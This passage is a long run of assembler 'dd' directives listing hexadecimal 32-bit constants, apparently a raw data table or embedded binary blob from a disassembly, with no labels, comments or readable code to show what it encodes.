dd 369A1CCDh, 88B1003Ch, 9238CB21h, 758BC0F5h, 17FE7F3Ah
dd 1700C38Ch, 4952D78Ah, 91900FCFh, 0EF20A1DAh, 7637F29Fh
dd 0F500C498h, 6A664C3Fh, 0EE60Ch, 3EF47201h, 934ACBAFh
dd 4CBC2300h, 34387177h, 7BE8022Ch, 0B47C58C3h, 0D24D95E0h
dd 26000D90h, 0EF96ACDh, 1FFCC8DFh, 4024AA7Bh, 0C0F8444Ah
dd 3F0E1B9Bh, 2038EFC1h, 0D06E807Ch, 0E600098h, 25862CA9h
dd 7B07CC8Fh, 0EE2FF4E7h, 5F39A0E0h, 2A2000FFh, 6617FC83h
dd 0D60F699Fh, 0FC0BA99h, 605D2F92h, 0AD37B6CAh, 0E9AA008Eh
dd 14D05704h, 31004A0Eh, 0B0992124h, 0F09DE2B1h, 85D11CF5h
dd 0BEB3005Ch, 0C5E40D51h, 8424C01h, 212C457Fh, 38A0F5ECh
dd 23005534h, 29290D5h, 5E00705Ah, 0A87A4559h, 0F81109h
dd 0A9D25C83h, 87FC40B1h, 28F25F00h, 592DF393h, 247C00C0h
dd 0A801979Dh, 0EF008BCAh, 44537E7Ah, 382FDB1h, 204D4631h
dd 4C985C90h, 2F003406h, 0FE6B172Eh, 0CC9C22h, 5BDFF85Dh
dd 0C09F507Ch, 5421B200h, 69C2E887h, 84190337h, 7F56E24h
dd 0F85AE5C0h, 7CBD7603h, 0B8B89DB1h, 3C4411h, 0AAC71BD9h
dd 0B52E8B91h, 8F522600h, 0F861A5DAh, 69E2003Ah, 0E6D13FC0h
dd 1A008155h, 23343C52h, 12ED422h, 494CAFF1h, 0DF454F19h
dd 0E7EB3AE8h, 0A4526E03h, 0C8481AF4h, 0A55AF5Eh, 9299A3D5h
dd 6EE400E5h, 8AC01F88h, 3F201300h, 0E1094C43h, 56DF1E02h
dd 4F08806Ah, 73D12F94h, 9000397Fh, 47BF5455h, 98DCB6h
dd 6C76C5C1h, 866B5FBAh, 0DF0727E4h, 5C8BEEA2h, 0AC1811A0h
dd 904D0703h, 0FE1C7F05h, 0D74E77A0h, 0DE0E8DB4h, 81E30FFFh
dd 45E812B9h, 0B05C09C0h, 0AA4F3E4Fh, 4C6C9E00h, 9D0DBCBBh
dd 0CF3CC700h, 0AB638FF7h, 187371h, 0A0C3FE6Eh, 0C1E12F5Eh
dd 0E4F947ECh, 13FA4D3Ah, 9FBFF21Ch, 5A16C700h, 0D3FAC2h
dd 0E070A59h, 1CA8B2CDh, 95397BE6h, 3F2CBD8Bh, 41BD8072h
dd 0F8548011h, 0C4EE00A5h, 0A9622A79h, 58FE78D3h, 8135DB00h
dd 301A0F5Dh, 87F53FA5h, 3325B60Fh, 7FBF409Fh, 9293BCC6h
dd 2D7CCD07h, 9CF0A385h, 70651E51h, 60709711h, 0CA64F50Eh
dd 0F6036060h, 75F0F1h, 0FC4B067Ah, 0DCB10595h, 0BAAC671Eh
dd 6C814441h, 15C0FF98h, 0F117004Fh, 1D8584C2h, 580077E0h
dd 425051DCh, 0F38D76h, 15A7CB1Eh, 6D1B3411h, 9940870Ah
dd 66009970h, 0A5947D19h, 0DCD26014h, 0E81B48B1h, 0A7525700h
dd 3729DB0Ah, 7148C053h, 0CA2CD894h, 83729A00h, 0D3131448h
dd 405E1F15h, 0EA00FED4h, 60AEAC2Dh, 0B407BD10h, 2CF79F5Ah
dd 0FF171C50h, 4DF300FBh, 0D5B26BF9h, 600021B6h, 0F739693h
dd 0EE204B02h, 0F4F20037h, 0BCCCCE08h, 2E03C40Ah, 8C2536D6h
dd 2613C804h, 0C0610062h, 4DED82BDh, 8D004149h, 0DA6DB0Eh
dd 7ADFCD64h, 871E3845h, 703D4380h, 0F3B8D40Bh, 80AB093Eh
dd 353EE8F4h, 6F6ED8h, 39EC221Ah, 0E02FBD9Bh, 91634600h
dd 72D0AC01h, 0CAD4E5DDh, 74200095h, 2B8485F2h, 1500D4B6h
dd 0A165703h, 6C30A4h, 0F188871Dh, 60285CC9h, 5E107C07h
dd 0E470F494h, 0E72F1Bh, 0FF808F78h, 0B64B5A5Ch, 13480100h
dd 715F843Bh, 0EFDCFC5Dh, 7F17E60h, 5BD41EDh, 9B0260B3h
dd 8C001558h, 0EC4CF8A3h, 0CFC927h, 95B442D4h, 4FD9D3F9h
dd 5087BE00h, 0F2C06DA9h, 9053011Ch, 765CFE5h, 0C315F4B1h
dd 0D7DFFA06h, 0A0744Bh, 8A48FCB8h, 692796D9h, 7DD6C500h
dd 98CA6D79h, 679F00C3h, 0AC309444h, 0C7B8E2A6h, 0F38FBD05h
dd 89C07A70h, 97350Fh, 6904248h, 55628453h, 42AA003h, 0A0EDC139h
dd 73D67h, 0DF73E0EAh, 0C39B3843h, 51EBEC02h, 0E034E4D5h
dd 797F1A9Ch, 21043EE7h, 0D0ECB780h, 50C03661h, 0F7CB3A00h
dd 0DD806B9Eh, 55B2006Dh, 7105B303h, 0A500E291h, 0F4C23444h
dd 0D8A454h, 86884B6Fh, 0BC792D80h, 1AE2200h, 0DF712F97h
dd 5AF64C2Bh, 8B00BB3Fh, 39502CE1h, 4703EF03h, 9E2D9284h
dd 536CD87Fh, 0F8EA7460h, 0E45C00B1h, 0B5259D33h, 0C6F21B74h
dd 8103B00Fh, 12BAA734h, 639E9F50h, 93330018h, 0D5C2D3E6h
dd 83004BF8h, 0A39BADF9h, 3E4884EFh, 0B8794A5h, 0FD530Ch
dd 556DD45Eh, 68C09700h, 9FE1FAF0h, 853101C6h, 5D9E5B26h
dd 3BD74159h, 0EC71FC7Fh, 0C6EAC400h, 0CE1AF038h, 3E97355h
dd 20544E2Bh, 0D1C0EDA9h, 0A800D7CCh, 6FFD34DAh, 1EEB6C6h
dd 0EC8FCA2Fh, 0E4AEB014h, 2300D4B7h, 4F996080h, 0F6270F1h
dd 9B3AD691h, 15C65300h, 9D00745Bh, 0B5F44840h, 0ED98EC3h
dd 3BE0D451h, 860DD200h, 4209F539h, 8F6E4EB0h, 667CC0E6h
dd 728B3Ch, 328CCC0Eh, 0AA956312h, 10C7C800h, 85157390h
dd 0C5D203A9h, 6A0F9CF7h, 0AAC84798h, 439D1B03h, 0F03FE3A3h
dd 123BCA01h, 0E5AC7Dh, 8ACE9820h, 0A4014AD6h, 0B2552268h
dd 1F20AEA5h, 262901Ch, 4717C8EAh, 0E9E097BFh, 0E371A49Fh
dd 153826FCh, 99700040h, 902413BDh, 0C20B008Eh, 0E7657688h
dd 6300543Bh, 0A399FA57h, 0F398C0h, 0DDF0E4C5h, 4573DA38h
dd 23C3A400h, 524FD04h, 0C775005Ch, 0F916C64h, 0AF3B7C2Ah
dd 21F200C8h, 0A514E6Dh, 0B24000E3h, 0C3CDBCF6h, 9001A427h
dd 18EF6345h, 7C4C201h, 1E5F00F8h, 5E292FA0h, 4C06FB2h
dd 4D7D92A5h, 34F00BCh, 0FADE3B9Ah, 0D000FE0Fh, 85D7145Ah
dd 2F139072h, 0B3009DB0h, 5E32F90Ch, 4CB2DB07h, 3CD02B7Bh
dd 9B032Fh, 534EE380h, 3EE98EB7h, 0EB6ECF03h, 0E82CFC01h
dd 98D7CE84h, 116F01D8h, 0AF57999Fh, 0EDE9434Fh, 3BFA49C8h
dd 0CA92650Fh, 934CC340h, 90BBE8B9h, 0B0B50032h, 0F045ABF7h
dd 120074C3h, 2D1DDE61h, 7043A78Ch, 0A171C0h, 0E7E54CA3h
dd 23EC7530h, 0A2527600h, 0B58E4A58h, 489D00EFh, 978A4181h
dd 64EE890h, 859973C0h, 23DC24B0h, 0FECB00D8h, 6EBDB92h
dd 3E3D0700h, 53AA04B3h, 603B1F9Dh, 0F8114369h, 8CE8EA32h
dd 0FA0FEC13h, 20D03D1Dh, 0A733AD8Eh, 0BA340020h, 0E957D5F1h
dd 0D416A4CCh, 0BE0014A3h, 9B1B1F1Ch, 80EE0035h, 0CEB47D6Bh
dd 6500B6E7h, 0F5404691h, 353BB3Fh, 12399F5Eh, 60D84707h
dd 67006C66h, 0F94B0A9Bh, 5C717C7Ah, 783B9B38h, 7F602A80h
dd 3B0EFCBFh, 0EF25770Eh, 5210E0CCh, 9D6AB9h, 0C94C79E0h
dd 1D509CCDh, 0C8861A00h, 67ED5B10h, 919B00F0h, 6220B6A6h
dd 8E00AEA7h, 43FDC264h, 5CB3FA4Eh, 1F009461h, 91036DE4h
dd 52007A7Fh, 0B8F5F340h, 0E8C857Ch, 5AC1CBABh, 4B00E6ABh
dd 0B3B90369h, 7B847A00h, 0A22D661Ah, 7F121DDCh, 85CF41FBh
dd 0CB4D2139h, 51CC3FB0h, 0C0C0AF79h, 695502D8h, 0F375004Ah
dd 0C179BC66h, 0FA001AD7h, 30DA9C7Ah, 336A93h, 4404FF13h
dd 0C2983180h, 14FE5A00h, 6A66E321h, 33BE28Ch, 3C7CF175h
dd 93F05733h, 0A4F49C2Fh, 1B240A0Fh, 0E6BDA01Ch, 0B2A8F5h
dd 0AE69CB97h, 40F7283Dh, 9A6E9500h, 6B592CBEh, 82563B19h
dd 493BE500h, 0A9FD2DB9h, 349B7C03h, 0F7C7159Fh, 3A450A00h
dd 0BCF30039h, 0F0F558C5h, 21F4D72h, 30C24653h, 0E07E6AF1h
dd 2F92A1h, 0ABD34BB4h, 49C6B751h, 8D062B00h, 0D16DE0ADh
dd 0AA7C1Fh
dd 24E5B584h, 0C30D09FDh, 59DA810Fh, 0B2422534h, 0EC1E8DC0h
dd 0B9CF00B7h, 99A398CCh, 8A00A831h, 0AFF9EAF4h, 677BBCh
dd 58C79DD4h, 0E4B6B908h, 994C7D00h, 0CCB71190h, 1C4A003Fh
dd 70CF150Dh, 6B00FA55h, 0FFE042FEh, 160FD5h, 0C62F75A6h
dd 65696E9Bh, 2DD34100h, 54118DA5h, 0F5EB0439h, 0C0A26260h
dd 5552D731h, 0B1644900h, 0ECF01A2Dh, 5472003Eh, 0F2800837h
dd 0EE3E4E3Ah, 0C251008Ch, 0D2A0156Dh, 962A019Fh, 0A3BBD56Ah
dd 1AFF4067h, 260F9E28h, 60320222h, 34D6F0F6h, 5CEE00B0h
dd 0CC6C1703h, 743B9F4Eh, 0D0820014h, 3D5E2C7Dh, 0E3EB133Ah
dd 1AF1E08Eh, 0A739F1F2h, 1DE40010h, 1E5D4791h, 5BE0C4h
dd 97302E0Eh, 203F42BBh, 92F7E400h, 2F23A419h, 885300ACh
dd 0B0D3BC9Ah, 9F3FEF8Fh, 1100F53Dh, 0F261B5FEh, 0EAFA66Fh
dd 5B91E7EBh, 1B734CEh, 0D9F6DF0h, 5FA8D81Fh, 0EA19780Fh
dd 52B28031h, 0E938FDh, 29DBF55Ch, 8CAFDF48h, 5471F800h
dd 7E90F798h, 686D0053h, 45338701h, 0FB00F0E8h, 5F709DECh
dd 0CE1C75h, 3AEB85F2h, 1451870Ch, 9A407E00h, 2E7803CAh
dd 6A911FB0h, 58D4C031h, 0AD8FA993h, 6F003A7Bh, 0BFA83C1h
dd 6DA407h, 67DEDA62h, 569502D3h, 58058700h, 0BA44AB2Dh
dd 96BD1C9Bh, 12790023h, 0B930C3D4h, 0A1635302h, 0E017FB3Dh
dd 0EA8C336Ah, 0B41C00D6h, 0E4D33095h, 0AC0031EBh, 80E73BF5h
dd 92C1Ah, 0B421BADFh, 19E086D6h, 0ECD33E00h, 587DA25Fh
dd 23150025h, 0F496C487h, 110250AAh, 63CDE355h, 72F9605Dh
dd 0D51A0038h, 4827D484h, 3D001EF7h, 0BFBC0F47h, 75313CDBh
dd 52F500F4h, 946DD917h, 0D200A5D4h, 8BCB206Ah, 240E1857h
dd 3A67E48h, 64C0ED63h, 5561ADD0h, 79B97000h, 27AA88D7h
dd 0DCCE50DAh, 2A8500D2h, 0B7C98B77h, 5D00EBE5h, 0DF8E0952h
dd 1C134D83h, 0BD9390B2h, 0E8F84280h, 0D0C1128Ah, 0AC002572h
dd 0C32446Dh, 3822FC89h, 1280EA34h, 0DD6940ADh, 0AC00709Bh
dd 5C9101C7h, 0F21AFAFEh, 27F900EFh, 0D6A5F63Fh, 0AF00ED75h
dd 0E528AD17h, 0BDB35Fh, 0B1E4272Ah, 35346DA7h, 92B2E00Fh
dd 8F4C433Ah, 12179850h, 93FF00F5h, 1AC6988Dh, 1F00736Dh
dd 4372EBD8h, 3B290D13h, 0BF804976h, 4C9AA455h, 513AC7CAh
dd 8AB980A1h, 521E5EAAh, 677F1Fh, 8B3E0185h, 94DB0729h
dd 0C7050C03h, 0B334E0A9h, 2A17D0CDh, 0E6600078h, 0B089D74Ah
dd 37009A5Ch, 3ACF29C6h, 87C849h, 0ABA47C76h, 501FE9BCh
dd 0B8358309h, 0CB2C00D1h, 189D31Bh, 0C58DCEADh, 6075BB31h
dd 0C100D739h, 2B827044h, 3606A87h, 0EA4C3D34h, 0BDB066F2h
dd 42001117h, 0C5216C7Dh, 3C267535h, 0DF80A170h, 0A25B1EFBh
dd 18000BDDh, 7B8569CFh, 7978E65h, 2DFFC8A5h, 0E99230F3h
dd 0D600BFE5h, 62599B02h, 1FA14DF1h, 236DB0h, 80555498h
dd 2FC5C0Fh, 56F468E2h, 1E249EB0h, 12000C0Ch, 8E5606Fh
dd 74B07FEh, 0A0846EFBh, 9ECA97A7h, 800B463Bh, 0FD78D871h
dd 7C17C60Dh, 0A8570062h, 0F6C7A6A0h, 8876982Ch, 11A9D300h
dd 17D58568h, 6503008Ah, 324BBDB5h, 4A009F0Fh, 6ACA4498h
dd 5394BAh, 695A0D42h, 189E2705h, 72BFF600h, 4E663EDEh
dd 0C14800D6h, 0E9E4D976h, 7A009C80h, 0F41F4DC9h, 0E2515A7Ch
dd 43550004h, 4EE4DBCAh, 0DD3A520Eh, 0BD111D9Fh, 50B8079h
dd 0F59E6951h, 499300D7h, 20972F24h, 0FB000188h, 238EBC02h
dd 7D5D1Eh, 59D8A01Bh, 255031E6h, 0F1441A00h, 64410CBDh
dd 15ED00B7h, 0C23BB98Fh, 0F5EE3291h, 79253401h, 0F3AC8E9Bh
dd 0D184DCh, 36AF77D9h, 14337CAAh, 4C5E4600h, 56720A85h
dd 0E90303DDh, 58B82637h, 4AA8A09Bh, 71007BEEh, 8BD99145h
dd 1EF2CC4h, 0A7E12FA6h, 705F1738h, 0BB77696Bh, 0A02E4C00h
dd 61A87396h, 8BBC0083h, 0A74330E1h, 0A203F795h, 1432C5C6h
dd 7C98F844h, 6573D5h, 0BCE5382Bh, 0EFC02694h, 0AC798C00h
dd 299958E7h, 47390060h, 1C3C8A7h, 4F00A9A8h, 8AB03659h
dd 3F9FFA99h, 0E005893h, 77FCD619h, 0E42CF602h, 2900AEC0h
dd 7D2D48D2h, 0BC52031Fh, 3C9F4567h, 82FD20BFh, 0AF0E5EBFh
dd 0E3E85ACh, 25A480E2h, 0F9E56Bh, 0F69F5BF4h, 73BA9438h
dd 0BB36AD1Ch, 0E10054EEh, 3FE546A8h, 33601DBFh, 6FB487A1h
dd 7FAD809Fh, 0E21D7D55h, 0A740385Dh, 2AC8D265h, 5B0FE11h
dd 4C603F29h, 96A4808Ch, 4AF4F0ABh, 0BD70970Fh, 0E59D842Fh
dd 1B2B59C0h, 6A570081h, 0A8E6E228h, 0E700A47Dh, 51E10D76h
dd 0D7E9F2h, 1F01C4CFh, 0E4F0C3FAh, 8029B338h, 0E3B96A4Ch
dd 1D445BAh, 0A1102781h, 0CCF716FBh, 600F798Fh, 61D5957Bh
dd 0BC315BE4h, 583E60h, 0D88E5EC7h, 0F7A9B99Bh, 21AE7703h
dd 0A81BDAE7h, 1C7220h, 0CED3B58Dh, 0E85C7E5Fh, 40570701h
dd 79082ED6h, 0BFD89AF1h, 433C00C0h, 0B9287301h, 0CB003B23h
dd 0D7C59B7Bh, 5A698F7h, 7D376759h, 8B4DC0CCh, 0BDFC64BEh
dd 811A534h, 201EF400h, 89DD7Bh, 7DB761B1h, 56735AA8h
dd 5D1FEE00h, 5444F18Dh, 182D002Ah, 3675F93Ch, 3A0046B2h
dd 0DC1AE2C1h, 7A574ABDh, 0CB8600C3h, 41999148h, 6800B5BAh
dd 0E98FDE36h, 582DAE0Bh, 1F1DBE35h, 0A8007861h, 0C91AA1DAh
dd 2B006540h, 0F8D798CAh, 224E63Ch, 4A01CFDCh, 0AF60F767h
dd 84017BBEh, 0F11A897Fh, 0C0E6C9E5h, 30857A6h, 0B6BC2010h
dd 0A2804149h, 747377D1h, 342E003h, 0C00AE344h, 3D9F8BAh
dd 17F04EE5h, 48D8DC30h, 0FB0087A7h, 0CDF45965h, 5C3DDD6Eh
dd 4100AE8Fh, 18EDD198h, 641CFE55h, 3B4016C2h, 0BFE8C33Dh
dd 8E4E3CC5h, 0ED3F4400h, 0FDF8D194h, 0EAD69500h, 5AF9E306h
dd 0C956001Ah, 0AADE9A46h, 5900820Dh, 0D82C9C11h, 55CF1A1h
dd 2A92C238h, 77FBC047h, 51075B39h, 95701B3Dh, 0BF609677h
dd 0A129C1h, 8E5DDD16h, 5B3E3F9Bh, 2A008075h, 0FEE84056h
dd 0B99DFDh, 7EB53DC4h, 69BDED07h, 0BA00FA70h, 96B05268h
dd 0F36689h, 0AF023DB3h, 0F9BD8B04h, 0E7560300h, 706AB2BEh
dd 0DF0D008Ch, 20DA8AABh, 8900E6D7h, 0C34604D8h, 4A836Dh
dd 0D3DF3190h, 10F8883Eh, 0B7F1B3Dh, 56D5758Eh, 402F1C25h
dd 448D1923h, 0E8F613C1h, 51C5B60Eh, 4FE100AEh, 0FD248h
dd 0B47F64F0h, 0C6A34586h, 50039298h, 5C838FFAh, 0CFF6B85Fh
dd 7476DFh, 36D83C60h, 4B85D5C9h, 4710BA00h, 9E9CCB19h
dd 0F39D002Ch, 0FA710BCEh, 0F13EDBB5h, 38D801EEh, 45520AF0h
dd 2726AC4h, 0A3FB4005h, 46E04E21h, 600097ADh, 0C3099CB2h
dd 0E4E09687h, 0F0070E0Bh, 0A8801805h, 0D00C534Ah, 9952A700h
dd 6CEA7688h, 0E58D0259h, 2A24EB47h, 0B057C161h, 4EB91660h
dd 4CDF00A1h, 83FD1336h, 211FEDD8h, 6C042DDh, 0D4022227h
dd 0AC18006Bh, 58698B41h, 5558E264h, 1E093C09h, 98C09BB0h
dd 0D0338051h, 9AEC30h, 7C2320CFh, 769ED612h, 56601976h
dd 0E2136BA6h, 0F8EB00CEh, 0E0EC8396h, 20000FEAh, 0BFD21F6Ch
dd 0EEB812h, 8B75D8FCh, 610AC32Ch, 0DDCE0F00h, 689D36F9h
dd 74120057h, 7D111CCFh, 0E2009490h, 0C18B78Bh, 0EE1BF0h
dd 70F28595h, 6F23F56Bh, 4FC32000h, 0CF04966Dh, 7FBA1E5Ch
dd 0DD6940C4h, 2EFC32B1h, 68144C00h, 0CE503C4Bh, 0D9F001B5h
dd 0FE47F6BEh, 0F157C0A2h, 0B09BC700h, 562C28C9h, 206903E5h
dd 4A334319h, 0D72A508Fh
dd 0F700A13Dh, 0ECB91E38h, 0A8E942h, 445E5D4Dh, 0E2D42B66h
dd 0B1B6D150h, 0A23C3500h, 14902356h, 617B00D2h, 5A5DAC7Ah
dd 64004F92h, 493C8DD0h, 0EC2FDBh, 0DF9CA9B5h, 0A552942Bh
dd 0AD0B990Fh, 0A1B7603Ah, 494E29h, 396E3043h, 0E103C2D2h
dd 59153Ah, 0F44D58CEh, 0DF2A60h, 222D1CD9h, 0D748AE2h
dd 0E1689400h, 59063D80h, 97230048h, 0F1335EF9h, 0ED3A1314h
dd 8BA2007Fh, 9B184FF2h, 20053AD5h, 53FA5F80h, 0EFB2F46Dh
dd 80081E8h, 36676496h, 1FEBA43Bh, 0C0FED701h, 0EA6F4DF0h
dd 71031C68h, 0D2257B33h, 0E7EFC8C6h, 82D30F32h, 99A0E0F5h
dd 4D941261h, 874A7E00h, 84C33E2Ch, 0DC921C7Ah, 9924405Fh
dd 0FE6C3AD3h, 5AFF2A00h, 0C723B340h, 0ABFCF768h, 6078001Dh
dd 3202C96Dh, 5F00F3DFh, 0D093DCE1h, 0F8B997h, 7046CF2Dh
dd 0C031E910h, 8267A200h, 7B569614h, 59C3008Ch, 0D37FD1BAh
dd 0CF00F51Bh, 193C6E8Fh, 46BC10h, 0F0A3B47h, 0D53622B9h
dd 9878ABEAh, 89A37F00h, 0E3EAA756h, 0E23D3997h, 61D6FC00h
dd 87E84C5Ch, 446FEC00h, 0A86E31BFh, 7D45008Ch, 0FCEBC8E3h
dd 0A700EF3Ah, 5E2C0FFBh, 0DA8D2Bh, 0BD614166h, 82CEA4A1h
dd 9A0080F4h, 0B8851914h, 72E8839h, 0C97C66C6h, 0FBACA079h
dd 8AFA3E8Dh, 504B7800h, 0F45FB815h, 0CD7463h, 0FB829611h
dd 0C2812683h, 0EBE6BE00h, 0F57E9718h, 773800AFh, 0DE513BD2h
dd 0C000665Ch, 59D77FCDh, 194BD9h, 8FA81033h, 8AC5F00Bh
dd 81A0B002h, 0C0D1C939h, 7CD98CDCh, 1DE0E68Bh, 80135CF4h
dd 0BF344B9Dh, 9C00124Fh, 601D3177h, 9F34Eh, 7DB411FEh
dd 3510069Bh, 0C5B22700h, 5F623D9Fh, 0AC6D0099h, 678EA645h
dd 71001D10h, 0BA302528h, 0AA2E41h, 0C73492B6h, 5D0D5E53h
dd 3E528800h, 4F7B7DE4h, 0ED861E43h, 80084061h, 451895FFh
dd 0FFB95Ch, 2A6A624Ch, 742B5EDh, 2287714Dh, 0C9F6404Ah
dd 2D0BEC41h, 0FDB90AA2h, 20B26A00h, 0C00A79Fh, 1E1FDC0Fh
dd 79B9175h, 0EDF9D542h, 557E4082h, 980966ABh, 0DC510563h
dd 0CC4400F8h, 0C824A8F0h, 71C98100h, 1850754Eh, 0FB430108h
dd 0E87E20A1h, 5A2C309Ch, 0C1FD4200h, 0D370F760h, 0CD65383Dh
dd 72CBC880h, 8F554AADh, 17AEFE01h, 1B027785h, 0B59FE8h
dd 0D02C8129h, 3F641016h, 417CF300h, 3CCAB2AEh, 0FDE20095h
dd 0B88B994Fh, 71008725h, 279C9319h, 7DA76E1h, 3B435774h
dd 25BDB068h, 0C501C2BAh, 1CBF0844h, 0ADD44F76h, 50691C3Bh
dd 59D40093h, 0FED38105h, 0C6B81D00h, 6E2843D5h, 2847947h
dd 7D3501FCh, 0FBC03E1Ah, 0E9008153h, 236946B5h, 66BF4h
dd 0A7786CDDh, 7CF6E543h, 0DE00B072h, 6944AD35h, 0AFDA19h
dd 0CEEB7A8Eh, 1B4C4693h, 0DCC50900h, 0F03080A4h, 82E402A9h
dd 0E141B71Ah, 0A08EC2E0h, 9814E81Ch, 0A15AD900h, 0BFFACAh
dd 0BE59DB48h, 9B94364h, 0AAEBF300h, 75E4C3C7h, 0E87C0Eh
dd 3B6C7B2Fh, 39319C5Eh, 1ACF9900h, 0B3A76A87h, 4D841D70h
dd 0A34C094h, 8121B86h, 9A379800h, 2777F1D2h, 1A6E057h
dd 7E8AECF4h, 0ECF29EC3h, 880451A4h, 0F8FCF7E0h, 0D668C4C0h
dd 798B0090h, 607A9558h, 74000C31h, 81EF71B4h, 672770h
dd 9B9489D3h, 37BFBB23h, 0A38DC100h, 1601A613h, 8E7A55h
dd 73B7D836h, 43DEFE17h, 0D575EF7Bh, 6EB59E04h, 9C810926h
dd 0E3CCC1F6h, 99FE00B3h, 0D843373Fh, 3E3BAC64h, 0C5D18096h
dd 9F656333h, 1756007Dh, 22B18395h, 59751DE4h, 0F314AE1Ch
dd 24803540h, 0C48C1Bh, 2EDB63A9h, 2150EE56h, 0DD091E03h
dd 0B0E42DB0h, 3F40675Ah, 8B001BF5h, 694DE58Eh, 6400715Ch
dd 0E26512B3h, 0FAC30389h, 5CD276E3h, 0E70780CDh, 0F1FF56DFh
dd 0E4B2DAF5h, 15751877h, 86BD1C00h, 73392040h, 4F984Bh
dd 0B08E0D4Ch, 16B79F4Eh, 71B8D200h, 29EEC774h, 813C007Bh
dd 0A021E5AFh, 0D218E750h, 0EAB8C1AAh, 0F25A00EBh, 0A7481692h
dd 0CAEA30F5h, 0B8D6A428h, 4D0043EEh, 0F22DB483h, 2F0207h
dd 157B477Ah, 0D184D9FCh, 6D3A85F4h, 0E4F081A1h, 72378339h
dd 978EE8h, 6B0C4F49h, 0E0121E22h, 83AFBD3Ah, 18D506D1h
dd 0CF8DC8F7h, 0EE36002Eh, 796C5CE6h, 5D70197Ah, 0FAF0565Ah
dd 0B5A10046h, 9D58C683h, 0CB00C309h, 12FF02F2h, 1ED48426h
dd 400A5B7Ch, 9D895081h, 5F00201Ah, 1D63EA09h, 1A4CFE9h
dd 27336C74h, 0C0045A0Ch, 0EA01655Eh, 96FC373Bh, 4A8E8693h
dd 807FA47Fh, 158C0CFh, 0EE005C81h, 9ECB37DFh, 7ECB5D7h
dd 3C43B407h, 44F063CAh, 987B0ED8h, 0DA92B800h, 912F852Eh
dd 9E4F2663h, 6A09028Dh, 0C5603083h, 453CD366h, 80523E37h
dd 0D81A5692h, 0D6390Ah, 333824C3h, 443A11A0h, 0F4C5EC00h
dd 0C80E1C1Eh, 0D98B00B2h, 0A5719102h, 0DE4A24D4h, 2D0BEEE8h
dd 0B009282h, 0CFA0FF13h, 8303C47Bh, 0F1C2C186h, 0F401D8E9h
dd 0E5EB3C24h, 5844CE80h, 189897E7h, 41A64D00h, 23962502h
dd 0AE300C8h, 390EA5B1h, 87051972h, 0FE667642h, 0E632A980h
dd 13620767h, 90CA785Eh, 51A7F9F7h, 1D06F100h, 799389A6h
dd 8EC500FBh, 4972E7ABh, 0C43EFFCEh, 0F9A80042h, 0B0F4B155h
dd 53F33C18h, 0D8622D00h, 0D3BAC543h, 4856B816h, 0F0D0ED00h
dd 0A55BFh, 0A08CA1C1h, 52B77F1Fh, 0CF464E1Ch, 2A0085D7h
dd 0AA6B849h, 9BCA0107h, 0C8BA13E6h, 0F1DC8115h, 2BE7B4Bh
dd 0E0AAD0FBh, 0B9D0027h, 66E1F9A7h, 0EC7C8FB9h, 0A29EB200h
dd 50615817h, 0FD2D1FC6h, 4DC9C05Fh, 273E0223h, 0E352C80Eh
dd 0F92C00B7h, 96AF15h, 8C1A7ABCh, 0CA9E1F31h, 5817D00h
dd 748DCCF3h, 39E464h, 1D83B7DBh, 715B23D5h, 0BC1EF7E8h
dd 0AE808FDEh, 2556DBECh, 77DD004Ah, 3F41EBA5h, 307FA81Ah
dd 0FCD7A600h, 0FE0F44EEh, 842B00CEh, 0C766F07Bh, 0D21D65CAh
dd 0B000F859h, 5B8CC687h, 4F1300EEh, 0CB9ECC92h, 6600AD4Ah
dd 0BA98FF21h, 703588h, 0DC046B29h, 223FEC11h, 7C795E07h
dd 0B140367Fh, 73AEB8EEh, 910E0FB0h, 0EA00645Dh, 10BA33AAh
dd 0E5FC070Eh, 3BCB009Ah, 3C6587Dh, 265CE88h, 77FFE72Ah
dd 8C31E27Eh, 2D3E50E0h, 0DA14F900h, 81967C9Eh, 0F664071Fh
dd 3BEFC088h, 0C6598400h, 8B746A2Bh, 2A3DC398h, 2773003Ah
dd 0C007337Ah, 0EE0DE083h, 1C70016Fh, 0DDE14A47h, 2BCCE05Eh
dd 0F25E500h, 2A51614Ch, 47B400FFh, 95493011h, 1300CD04h
dd 0E33E144Dh, 62E2C5h, 51907D73h, 75120A30h, 23D41900h
dd 7B2E76D2h, 2B361464h, 0A300BDDAh, 75EC0B96h, 0A500F2E6h
dd 9790CD70h, 0BC3524h, 912DDFF5h, 2BAD7FE3h, 0E416C32Eh
dd 12C0EB1Ch, 0A534DB85h, 8AE700B0h, 78AF2370h, 40283B36h
dd 4B00CF14h, 66D02B5Ah, 13A50Bh, 33B318ADh, 16727383h
dd 0E9DB291Ch, 4C0D1240h, 6EF5D7h, 9AC8CB55h, 40EDA63Dh
dd 5F038h, 21D23BA3h, 0ECE7D535h, 0B5DA00E8h, 53C8CE4Eh
dd 0EB0026E6h, 0CC81F61Fh, 73B1D16h, 5940FA79h, 8A20C076h
dd 0A20F7729h, 209FB49Ah, 63D5DB16h, 157396h, 0E0E65A34h
dd 565E2EADh, 0EC027900h, 0AAAE260Ah, 464803F3h, 143FC247h
dd 0F53D5AF0h, 5B21A300h, 6B4D8698h, 62B00039h, 77094A43h
dd 8C00E1CBh, 5C4EAB25h, 81D110h, 3AC0FCA3h, 4C19C5EAh
dd 0C837B100h, 0F8358045h, 0C199006Ch, 0E23CA7E5h, 812C0AB6h
dd 860039D8h, 65F9C2A2h
dd 56C901D0h, 16FAAB04h, 1FDAC814h, 40B058h, 0B76685Eh
dd 21EEF6h, 9737FDA5h, 3FD28CEAh, 9C001598h, 0EBAD1436h
dd 1E7522D6h, 40973179h, 0C92328B4h, 0BA009FF7h, 66B03671h
dd 7A459Eh, 4C5C42BBh, 17819092h, 46C3C801h, 0F3EB6B5h
dd 7EBF70h, 606CF215h, 281A7BC6h, 236AD00h, 40479A39h
dd 0C078DE78h, 90D47FBCh, 7707B465h, 0F55186C3h, 5F1CE2A0h
dd 3F210062h, 96C3A60h, 0C30399A2h, 0AB262FE7h, 0BABEF011h
dd 713700CCh, 327FB8C7h, 6700FDE9h, 0EB6FA7AAh, 9242C0h
dd 0C254A694h, 7FF79570h, 3FC80D00h, 0DD81577Eh, 0FE11EC0Ah
dd 735B07DFh, 506F7D3Ah, 0CD6E5F0Dh, 35EBB600h, 0F5B307B0h
dd 0D2463956h, 0FD13E700h, 0C9E3494Bh, 98E2A200h, 0D9B46357h
dd 0A5B60373h, 4F18DE6Ch, 87428380h, 531CF71Ch, 19A1F300h
dd 3F2B9Ch, 550949EFh, 0CA17F172h, 90B7DA00h, 0CC02BCD4h
dd 28420085h, 3C55D247h, 0AD07D343h, 8FBD5AC9h, 0E8D61BF0h
